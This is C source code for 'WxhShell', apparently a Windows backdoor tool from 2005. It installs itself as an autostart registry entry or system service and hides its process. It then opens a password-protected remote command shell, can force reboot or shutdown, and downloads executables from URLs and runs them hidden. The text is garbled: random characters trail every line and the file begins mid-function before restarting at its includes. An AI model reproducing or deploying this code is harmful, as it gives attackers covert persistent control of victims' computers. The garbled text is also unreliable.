  // 关机 #>m, Cm  
  case 'd': {  ;[KriW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `o8{qU,*]N  
    if(Boot(SHUTDOWN)) =6Sj}/   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wd` QpW  
    else { c\)&yGE  
    closesocket(wsh); cP@F #!2  
    ExitThread(0); PL9eUy  
    } >[H&k8\7n  
    break; FL#g9U>  
    } 7XVzd]jH  
  // 获取shell ocl47)  
  case 's': { yI.}3y{^5  
    CmdShell(wsh); nJ*mEB  
    closesocket(wsh); '`]n_$f'  
    ExitThread(0); Vv yrty  
    break; 33<fN:J]f  
  } `!omzE*bk5  
  // 退出 {nQ)4.e6  
  case 'x': { S}w.#tyEn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @bW[J  
    CloseIt(wsh); v-;XyVx  
    break; YF! &*6m  
    } JU'WiR bcb  
  // 离开 d]7|v r]  
  case 'q': { tSb?]J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uqa4&2(I=j  
    closesocket(wsh); UROj9CO v  
    WSACleanup(); ?H[5O+P[  
    exit(1); 8{G?92 {rN  
    break;  t$H':l0  
        } pdi=6<?bd  
  } d2A wvP  
  } I>H;o{X#  
%|*nmIPq(  
  // 提示信息 Foe>}6~{?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9'n))%CZ.  
} xi?P(s A  
  } ^$=tcoQG  
e|b~[|;*=  
  return; `&u<aLA  
} [Y22Wi  
fwi};)K  
// shell模块句柄 0Oc}rRH(C  
int CmdShell(SOCKET sock) >lraYMc<rZ  
{ ` y^zM/Ib  
STARTUPINFO si; _oJ2]f6KX  
ZeroMemory(&si,sizeof(si)); Dh&:-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9U|<q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y8w0eq94  
PROCESS_INFORMATION ProcessInfo; msc 1^2  
char cmdline[]="cmd"; \6SMn6a4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6.U  "_%  
  return 0; )@Zc?Da  
} /`+Hw dk  
Ig1lol:;  
// 自身启动模式 |jahpji6  
int StartFromService(void) !Tn0M;  
{ qnq%mwDeD  
typedef struct mW~i c  
{ y@o9~?M  
  DWORD ExitStatus; QFW0KD`5  
  DWORD PebBaseAddress; w0Fwd  
  DWORD AffinityMask; Yzj%{fkh  
  DWORD BasePriority; ,8c dXt   
  ULONG UniqueProcessId; =5y`(0 I`U  
  ULONG InheritedFromUniqueProcessId; B*?ZE4`  
}   PROCESS_BASIC_INFORMATION; 9W1;Kb|Z<  
G;(onJz  
PROCNTQSIP NtQueryInformationProcess; y$IaXr5L  
(O8,zqP9l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L!;^ #g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6P;o 6s  
-6rf( ER  
  HANDLE             hProcess; xClRO,-  
  PROCESS_BASIC_INFORMATION pbi; eM?rc55|  
t a&Q4v&-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8To7c  
  if(NULL == hInst ) return 0; &sm @  
owE<7TGPI?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 29"mE;j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EHpu*P~W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YXF#c)#  
= :Po%Z%{  
  if (!NtQueryInformationProcess) return 0; XnBm`vk?V!  
O6y @G .+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sS, zzx<  
  if(!hProcess) return 0; o"|O ]  
.aNO( /kO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7w "sJ  
f5@.^hi[  
  CloseHandle(hProcess); p QluGIX0V  
[J~aAB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z*6$&sS\>  
if(hProcess==NULL) return 0; ZV!R#Xv  
'sj9[o@]  
HMODULE hMod; sf Dg/ a  
char procName[255]; &&;ex9  
unsigned long cbNeeded; d,)}+G  
[ZuVUOm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AK6=Ydu  
B ,V( LTE  
  CloseHandle(hProcess); +.w[6  
@. "q  
if(strstr(procName,"services")) return 1; // 以服务启动 gf+o1\5t@  
F?7u~b|@{  
  return 0; // 注册表启动 Q"A_bdg5  
} Ay 2b,q  
uu}'i\Q  
// 主模块 8{oZi]ob  
int StartWxhshell(LPSTR lpCmdLine) F4Rr26M  
{ );=Q] >  
  SOCKET wsl; sNL+F  
BOOL val=TRUE; 4 GUA&qs  
  int port=0; ,1,&b_  
  struct sockaddr_in door; <z,+Eg  
'r~8  
  if(wscfg.ws_autoins) Install(); rB,ldy,f  
{`a(Tl8V  
port=atoi(lpCmdLine); 8Bq-0=E  
8+9\7*  
if(port<=0) port=wscfg.ws_port; TZe+<~4*i%  
wY/bA}%  
  WSADATA data; d$}&nV/A)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sTiYf  
Q*gnAi&.#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D>P;Izb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0}B?sNr  
  door.sin_family = AF_INET; #+$ zE#je  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k=e`*LB\  
  door.sin_port = htons(port); &1P(O\ d  
F"I*-!o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y>`5Kyj3-@  
closesocket(wsl); }7%9}2}Iw  
return 1; kL|\wci  
} rR\;G2p)  
Hj2<ZL  
  if(listen(wsl,2) == INVALID_SOCKET) { Hoj8okP  
closesocket(wsl); xWDR72 6  
return 1; fTcY"A,2  
} B;V5x/  
  Wxhshell(wsl); ~Po<(A}`f  
  WSACleanup(); 4h;4!I|  
DY8(g=TI|1  
return 0; [P{a_(  
)AI?x@  
} "TfI+QgLF  
<KX&zi<L)  
// 以NT服务方式启动 i0\)%H:z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %yfE7UPS]  
{ Y3k[~A7X  
DWORD   status = 0; e gI&epN  
  DWORD   specificError = 0xfffffff; 19p8B&  
uxb:^d?D!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LX\)8~dp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;,k=<]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pl|h>4af  
  serviceStatus.dwWin32ExitCode     = 0; 9p4y>3  
  serviceStatus.dwServiceSpecificExitCode = 0; X &D{5~qC  
  serviceStatus.dwCheckPoint       = 0; NEw $q4  
  serviceStatus.dwWaitHint       = 0; )&:L'N  
Jld\8=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BKay*!'PX  
  if (hServiceStatusHandle==0) return; ~ ltg  
`]jqQr97  
status = GetLastError(); o5SQ1;`   
  if (status!=NO_ERROR) myIe_k,F  
{ W&YU^&`Yr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _lX8K:C(  
    serviceStatus.dwCheckPoint       = 0; *}w+ 68eO  
    serviceStatus.dwWaitHint       = 0; LL.x11 o3  
    serviceStatus.dwWin32ExitCode     = status; &))\2pl  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0elxA8Z~e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wx*1*KZ  
    return; BZ+;n |<r  
  } 6WeM rWx  
!p',Za   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7 \X$7  
  serviceStatus.dwCheckPoint       = 0; &?y7I Pp  
  serviceStatus.dwWaitHint       = 0; RkA8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WI&lj<*  
} gw+eM,Yp  
gfN2/TDC]P  
// 处理NT服务事件,比如:启动、停止 epkD*7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w#9_eq|3  
{ n'M>xq_  
switch(fdwControl) w"~<h;  
{ \J3/keL  
case SERVICE_CONTROL_STOP: u%B&WwHG  
  serviceStatus.dwWin32ExitCode = 0; ;|HL+je;Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =ewyQ  
  serviceStatus.dwCheckPoint   = 0; :IZ"D40m"  
  serviceStatus.dwWaitHint     = 0; JYJU&u  
  { wXbsS)#/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ugLlI2 nJ  
  } Xb,T{.3@  
  return; )M:)y  
case SERVICE_CONTROL_PAUSE: ;&S;%W>|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9->q|E4  
  break; y`S o&:1  
case SERVICE_CONTROL_CONTINUE: <<,>S&/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mp1ttGUtM  
  break; QIK 9  
case SERVICE_CONTROL_INTERROGATE: `N'V#)Pi  
  break; :h*a rT4{  
}; Jzex]_:1~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w7 *V^B  
} )/>A6A:  
~*-qX$gr  
// 标准应用程序主函数 `5l01nOxJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ` >U?v  
{ cG_Vc[  
>{nH v)  
// 获取操作系统版本 rt}^4IqL  
OsIsNt=GetOsVer(); ?lKhzH.T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i\Wdo/c-H  
%\6Q .V#s  
  // 从命令行安装 s`;f2B/|  
  if(strpbrk(lpCmdLine,"iI")) Install(); +~35G:&:  
jatr/  
  // 下载执行文件 5k$vlC#[H  
if(wscfg.ws_downexe) { HdNnUDb$B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !0" nx{7.  
  WinExec(wscfg.ws_filenam,SW_HIDE); N'?u1P4G  
} bK*~ol  
H M:r0_  
if(!OsIsNt) { T1bd:mC}n  
// 如果时win9x,隐藏进程并且设置为注册表启动 kO_5|6  
HideProc(); L l}yJ#3,  
StartWxhshell(lpCmdLine); K 1W].(-@4  
} !20X sO  
else Q2QY* A  
  if(StartFromService()) 3CZS)  
  // 以服务方式启动 uM S*(L_  
  StartServiceCtrlDispatcher(DispatchTable); sn{tra  
else ?9xu{B>6  
  // 普通方式启动 y{=>$C[  
  StartWxhshell(lpCmdLine); ZA820A>2!  
|5MbAqjzC  
return 0; `^6 ,kI-c  
} ~ap2m  
75NRCXh.  
AK@L32-S  
."6[:MF  
=========================================== lr3mE  
d%ME@6K)  
nc?B6IV  
lm0N5(XP  
Tv$sqVe9  
$[ z y  
" wT_h!W  
g0&\l}&%U  
#include <stdio.h> a9Y5  
#include <string.h> @_yoX(.E&  
#include <windows.h> ]l;*$2w)  
#include <winsock2.h> 1[PMDS_X  
#include <winsvc.h> bw S*]!*  
#include <urlmon.h> z&}-8JykH  
go'j/4Tp  
#pragma comment (lib, "Ws2_32.lib") /'wF2UR  
#pragma comment (lib, "urlmon.lib") ^jSsa  
T@ YGB]*Y  
#define MAX_USER   100 // 最大客户端连接数 h{'t5&yY  
#define BUF_SOCK   200 // sock buffer }NCL>l;q  
#define KEY_BUFF   255 // 输入 buffer /aqEJGG>  
+%0z`E\?M#  
#define REBOOT     0   // 重启 bS!\#f%9"  
#define SHUTDOWN   1   // 关机 vjUp *R>h  
bGmx7qt#  
#define DEF_PORT   5000 // 监听端口 8e2?tmWM  
*hY2.t; X  
#define REG_LEN     16   // 注册表键长度 L%\b'fs  
#define SVC_LEN     80   // NT服务名长度 2A:,;~UH  
A9:NKY{z  
// 从dll定义API uGVy6,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Da1aI]{I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I'!/[\_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i$^ZTb^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k%81f'H  
'7 )"  
// wxhshell配置信息 mUP.rb6  
struct WSCFG { `V!>J 1x  
  int ws_port;         // 监听端口 :d,^I@]  
  char ws_passstr[REG_LEN]; // 口令 0L-!! c3  
  int ws_autoins;       // 安装标记, 1=yes 0=no k$i'v:c|:i  
  char ws_regname[REG_LEN]; // 注册表键名 =o7}]k7  
  char ws_svcname[REG_LEN]; // 服务名 md Gwh7/3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zsQoU&D 5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l*=aMjd?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EqB)sK/3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N{Qxq>6 G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T)iW`vZg8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;;U :Jtn2  
9Kv|>#zff  
}; _aS;!6b8W  
n.}T1q|l  
// default Wxhshell configuration x3G:(YfO  
struct WSCFG wscfg={DEF_PORT, +[-i%b3q  
    "xuhuanlingzhe", >SmV74[s2  
    1, C NrII sJ  
    "Wxhshell", []pN$]+c  
    "Wxhshell", #f,y&\Xmf  
            "WxhShell Service", _}6q{}jn:c  
    "Wrsky Windows CmdShell Service", E/b"RUv}h  
    "Please Input Your Password: ", Gh( A%x)  
  1, t ?eH'*>  
  "http://www.wrsky.com/wxhshell.exe", @%ECj)u`O  
  "Wxhshell.exe" f'Mop= .  
    }; zGo|JF  
K\?]$dK5  
// 消息定义模块 K7)kS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k;^ :  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uE5X~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e":G*2a  
char *msg_ws_ext="\n\rExit."; vGd1w%J-  
char *msg_ws_end="\n\rQuit."; &, a3@i  
char *msg_ws_boot="\n\rReboot..."; Fke//- R  
char *msg_ws_poff="\n\rShutdown..."; o>]`ac0b}Y  
char *msg_ws_down="\n\rSave to "; 5FeFN)  
@'2m$a  
char *msg_ws_err="\n\rErr!"; mEAXM 1J|  
char *msg_ws_ok="\n\rOK!"; chI.{Rj  
&(pjqV  
char ExeFile[MAX_PATH]; 2f:^S/.A  
int nUser = 0; _8?o'<!8?^  
HANDLE handles[MAX_USER]; =r. >N\  
int OsIsNt; 6;b9swmh  
XP?rOOn  
SERVICE_STATUS       serviceStatus; $iw%(H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %yS3&Ju  
cntco@  
// 函数声明 Hf gz02Z$  
int Install(void); b7:0#l$  
int Uninstall(void); V|D] M{O  
int DownloadFile(char *sURL, SOCKET wsh); X@A1#z+s0]  
int Boot(int flag); Jf;?XP]z  
void HideProc(void); ){;02^tX  
int GetOsVer(void); }?8uH/+ZA  
int Wxhshell(SOCKET wsl); Fj p.T;  
void TalkWithClient(void *cs); :$3oFN*g  
int CmdShell(SOCKET sock); 1 OaXo!  
int StartFromService(void); W8WXY_yJt  
int StartWxhshell(LPSTR lpCmdLine); 8MwK.H[U  
ts~{w; c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [1G^/K"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >!6JKL~=  
NZLAk~R;0  
// 数据结构和表定义 cI0 ]}S  
SERVICE_TABLE_ENTRY DispatchTable[] = d9^E.8p$  
{ r#i?j}F}  
{wscfg.ws_svcname, NTServiceMain}, \_6OCVil  
{NULL, NULL} ,El!fgL  
}; #;KsJb)N.  
$14:(<  
// 自我安装 vG41Ck1  
int Install(void) ~+F;q vq  
{ ?9+@+q  
  char svExeFile[MAX_PATH]; pJIv+  
  HKEY key; 3(E $I5  
  strcpy(svExeFile,ExeFile); "f.Z}AbP  
IZ,oM!Y  
// 如果是win9x系统,修改注册表设为自启动 :3h{ A`u  
if(!OsIsNt) { uRV<?y%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Av J4\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +~zXDBS9  
  RegCloseKey(key); "\%On >  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %r{3wH# D@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7*o*6,/  
  RegCloseKey(key); L:nXWz  
  return 0; wucV_p.E  
    } OW;tT=ql  
  } $^/0<i$   
} <i\A_qqc/  
else { C@\{ehG  
knp>m,w  
// 如果是NT以上系统,安装为系统服务 JAc_kl{4O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R[tC^]ai  
if (schSCManager!=0) l: |D,q  
{ 1%[_`J;>Z  
  SC_HANDLE schService = CreateService X@N$Z{  
  ( q<vf,D@{ !  
  schSCManager, I&yVx8aH}  
  wscfg.ws_svcname, Wzq>JNn y  
  wscfg.ws_svcdisp, c~}l8M %  
  SERVICE_ALL_ACCESS, )Q;978:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M)-6T{[IT  
  SERVICE_AUTO_START, {2d_"lHBt  
  SERVICE_ERROR_NORMAL, $RX'(/  
  svExeFile, &n2e  
  NULL, "Y: /= Gx  
  NULL, l~:v (R5  
  NULL, (46 {r}_O  
  NULL, c,EBF\r8*  
  NULL \/`?  
  ); =JLh?Wx  
  if (schService!=0) x+5k <Xi}  
  { SUCU P<G  
  CloseServiceHandle(schService); Pz_Oe,{.I  
  CloseServiceHandle(schSCManager); /lhz],w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }Rvm &?~O  
  strcat(svExeFile,wscfg.ws_svcname); sfT+i;p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,:n| ?7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yY{kG2b,  
  RegCloseKey(key); +>^7vq-\'  
  return 0; ]w).8=I  
    } <z+:j!~  
  }  %V G/  
  CloseServiceHandle(schSCManager); BcWcdr+}9  
} `bI)<B  
} AIl4]F5I  
Fe&qwq"  
return 1; \p&~ ,%  
} B1 0+*p(  
qZk'tRv  
// 自我卸载 hi2sec|;<  
int Uninstall(void) klOp ^w  
{ rnFM/GAy  
  HKEY key; c~,23wP1  
U'( sn  
if(!OsIsNt) { }ucIH@U{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9-1#( Y6S  
  RegDeleteValue(key,wscfg.ws_regname); VaZn{z  
  RegCloseKey(key); *O$CaAr\s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f|EUqu%E  
  RegDeleteValue(key,wscfg.ws_regname); 7v}x?I  
  RegCloseKey(key); 2RtHg_d_l  
  return 0; k8nLo.O  
  } u+9<&)X0  
} bUy,5gk-  
} K/_9f'^  
else { v5ur&egVs  
[] W;t\h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); * A|-KKo\  
if (schSCManager!=0) W`rNBfG>  
{ #G]!%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OKOu`Hz@  
  if (schService!=0) yoe}$f4  
  { imL_lw^?  
  if(DeleteService(schService)!=0) { b;mSQ4+  
  CloseServiceHandle(schService); \u OdALZ  
  CloseServiceHandle(schSCManager); iTo k[uJ}  
  return 0; `s#Hq\C  
  } m`? MV\^  
  CloseServiceHandle(schService); A1Y7;-D  
  } 2(!fg4#+  
  CloseServiceHandle(schSCManager); KU9Z"9#  
} Rf %HIAVE  
} hjx)D  
|+IZS/W"  
return 1; J'&# mDU  
} hqSJ(gs{  
!/{+WHxIr|  
// 从指定url下载文件 Oc?+M 5  
int DownloadFile(char *sURL, SOCKET wsh) >-< 8N-@"n  
{ R>@uY( >dJ  
  HRESULT hr; Vn=qV3OE]  
char seps[]= "/"; KLQTKMNv  
char *token; 2GmpCy`L"  
char *file; mY!iu(R1  
char myURL[MAX_PATH]; ?dZt[vAMn  
char myFILE[MAX_PATH]; 9 t n!t  
;,'igdold  
strcpy(myURL,sURL); X~.f7Ao[  
  token=strtok(myURL,seps); &xZyM@  
  while(token!=NULL) AN:@fZ  
  { Pi2|  
    file=token; " K*  
  token=strtok(NULL,seps); ?/*~;fM  
  } -C7]qbT }  
zW |=2oX2  
GetCurrentDirectory(MAX_PATH,myFILE); lG<hlYckv  
strcat(myFILE, "\\"); I,6/21kO  
strcat(myFILE, file); p4u5mM  
  send(wsh,myFILE,strlen(myFILE),0); "I- w  
send(wsh,"...",3,0); #!J(4tXny  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Tsb{25`+  
  if(hr==S_OK) 'fwU]Hm  
return 0; &sVvWNO#2  
else {Z;t ^:s#  
return 1; F9q8SA#"  
6~meM@  
} DrW#v-d  
VxO%rq3  
// 系统电源模块 M.}7pJ7f  
int Boot(int flag) #b0{#^S:  
{ 8t"~Om5sG  
  HANDLE hToken; )wXuwdc[  
  TOKEN_PRIVILEGES tkp; C R<`ZNuWz  
v{x{=M]  
  if(OsIsNt) { -]G(ms;}/Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v`q\6i[-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `:{B(+6  
    tkp.PrivilegeCount = 1; p^m5`{1]x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0Sl]!PZR1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 72 TI  
if(flag==REBOOT) { 96Wp!]*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^ ?hA@{T/1  
  return 0; ;+"f  
} wgeNs9L  
else { pj|pcv^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >:sUL<p  
  return 0; >"X\>M`"  
} s'P( ,!f  
  } bJr[I  
  else { q]& .#&h  
if(flag==REBOOT) { ]ekk }0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3*_fzP<R  
  return 0; A^fjfa);V  
} T".]m7!  
else { Mc sTe|X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -7>)i  
  return 0; 9|' B9C  
} }71LLzG`/  
} /Poet%XvRx  
(3vHY`9  
return 1; I XA>`D  
} (n( fI f  
z;u> Yz+3  
// win9x进程隐藏模块 0CvsvUN@  
void HideProc(void) t/i5,le  
{ C2e.2)y  
F-Z%6O,2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?^Hf Np9  
  if ( hKernel != NULL ) a.F Al@Br  
  { )8gGv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Aez2*g3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %6j)=IOts  
    FreeLibrary(hKernel); Q<tu)Qo  
  } 4NEq$t$Jn  
{kI#A?M  
return; f}%D"gz  
} JM$.O;y -  
nHFrG =o,  
// 获取操作系统版本 "LhUxnll  
int GetOsVer(void) &Jc_Fc(M  
{ -XoPia2  
  OSVERSIONINFO winfo; pI`?(5iK6|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~.Ik#At  
  GetVersionEx(&winfo); G* %t'jX9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wl=61 Mb  
  return 1; tEd.'D8 s  
  else sf} Dh  
  return 0; k4J8O3E  
} 5R$G(Ap_  
[ Mg8/Oy  
// 客户端句柄模块 2pHR_mrb  
int Wxhshell(SOCKET wsl) ,n,RFa  
{ I 1d0iU  
  SOCKET wsh; 1xyU  
  struct sockaddr_in client; W3W'oo  
  DWORD myID; }`VDD?M  
<c[U#KrvJ  
  while(nUser<MAX_USER) \b8sG"G  
{ !#ri5{od  
  int nSize=sizeof(client); =Yo1v=wxN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eS/B24;*  
  if(wsh==INVALID_SOCKET) return 1; tU wRE|_  
G>qZxy`c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ".*x!l0y7  
if(handles[nUser]==0) 3{% LS"c  
  closesocket(wsh); 59uwB('|lH  
else Y>."3*^  
  nUser++; :S@1  
  } w^k;D,h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }]1BO  
8cx=#Me  
  return 0; <hnCUg1  
} l2%bF8]z  
Fh7'[>onw  
// 关闭 socket 0Y=![tO8  
void CloseIt(SOCKET wsh) 1B>Vt*=  
{ I&9S;I$  
closesocket(wsh); }!#gu3  
nUser--; W" "*ASi  
ExitThread(0); <3PL@orO  
} u),Qa=Wp  
` >!n  
// 客户端请求句柄 {npcPp9  
void TalkWithClient(void *cs) _#e&t"@GS  
{ iL{M+Ic  
Bc-yxjsw  
  SOCKET wsh=(SOCKET)cs; aMARZ)V  
  char pwd[SVC_LEN]; {@}?k s5  
  char cmd[KEY_BUFF]; q}uHFp/J  
char chr[1]; &}mw'_ I  
int i,j; hw_JDv+  
gQSNU_o Z  
  while (nUser < MAX_USER) { inPJ2uBD\^  
C) QKPT  
if(wscfg.ws_passstr) { !;@_VWR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jt~Qu-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5pNY)>]t=  
  //ZeroMemory(pwd,KEY_BUFF); '+'CbWgY  
      i=0; <<9Va.  
  while(i<SVC_LEN) { d<w~jP\  
(fD ;g9  
  // 设置超时 'J*<iA*W  
  fd_set FdRead; BIaDY<j90  
  struct timeval TimeOut;  c9''  
  FD_ZERO(&FdRead); I0AJY )R  
  FD_SET(wsh,&FdRead); Uv_N x10  
  TimeOut.tv_sec=8; PMsz`  
  TimeOut.tv_usec=0; XB hb`AG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @Fv=u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ){s*n=KIO  
vqslirC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !U_ K&f  
  pwd=chr[0]; - N>MBn  
  if(chr[0]==0xd || chr[0]==0xa) { gMWBu~;!  
  pwd=0; AEmNHO@%q  
  break; >M%\T}5  
  } ^da44Qqu  
  i++; &Wp8u#4L  
    } S,fCV~Cio?  
F1;lQA*7K.  
  // 如果是非法用户,关闭 socket 3T\l]? z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `"yxdlXA  
} y #f QPR  
wo2@hav  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TG48%L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m4K* <  
js^ ,(CS  
while(1) { ~Vh(6q.oT  
Bsf7mcXz7z  
  ZeroMemory(cmd,KEY_BUFF); F+UG'4%  
W^,S6!  
      // 自动支持客户端 telnet标准   }*]B-\>  
  j=0; s6*ilq1  
  while(j<KEY_BUFF) { .%EL\2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rx07trfN  
  cmd[j]=chr[0]; =*BIB5  
  if(chr[0]==0xa || chr[0]==0xd) { e;bYaM4 UX  
  cmd[j]=0; Mpue   
  break; Mvj;ic6iK  
  } C F!Sa6  
  j++; MmPU7Nl%X  
    } _3iHkQr  
#H [Bb2(j  
  // 下载文件 72W,FU~OD  
  if(strstr(cmd,"http://")) { EqiFy"H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O-vGyNxP|  
  if(DownloadFile(cmd,wsh)) =d 2r6%v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MfF~8  
  else #$~ba %t9%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r'LVa6e"N  
  } !2\ r LN  
  else { s>_V   
'z@0  
    switch(cmd[0]) { Kr'f-{  
  c'6g*%2k  
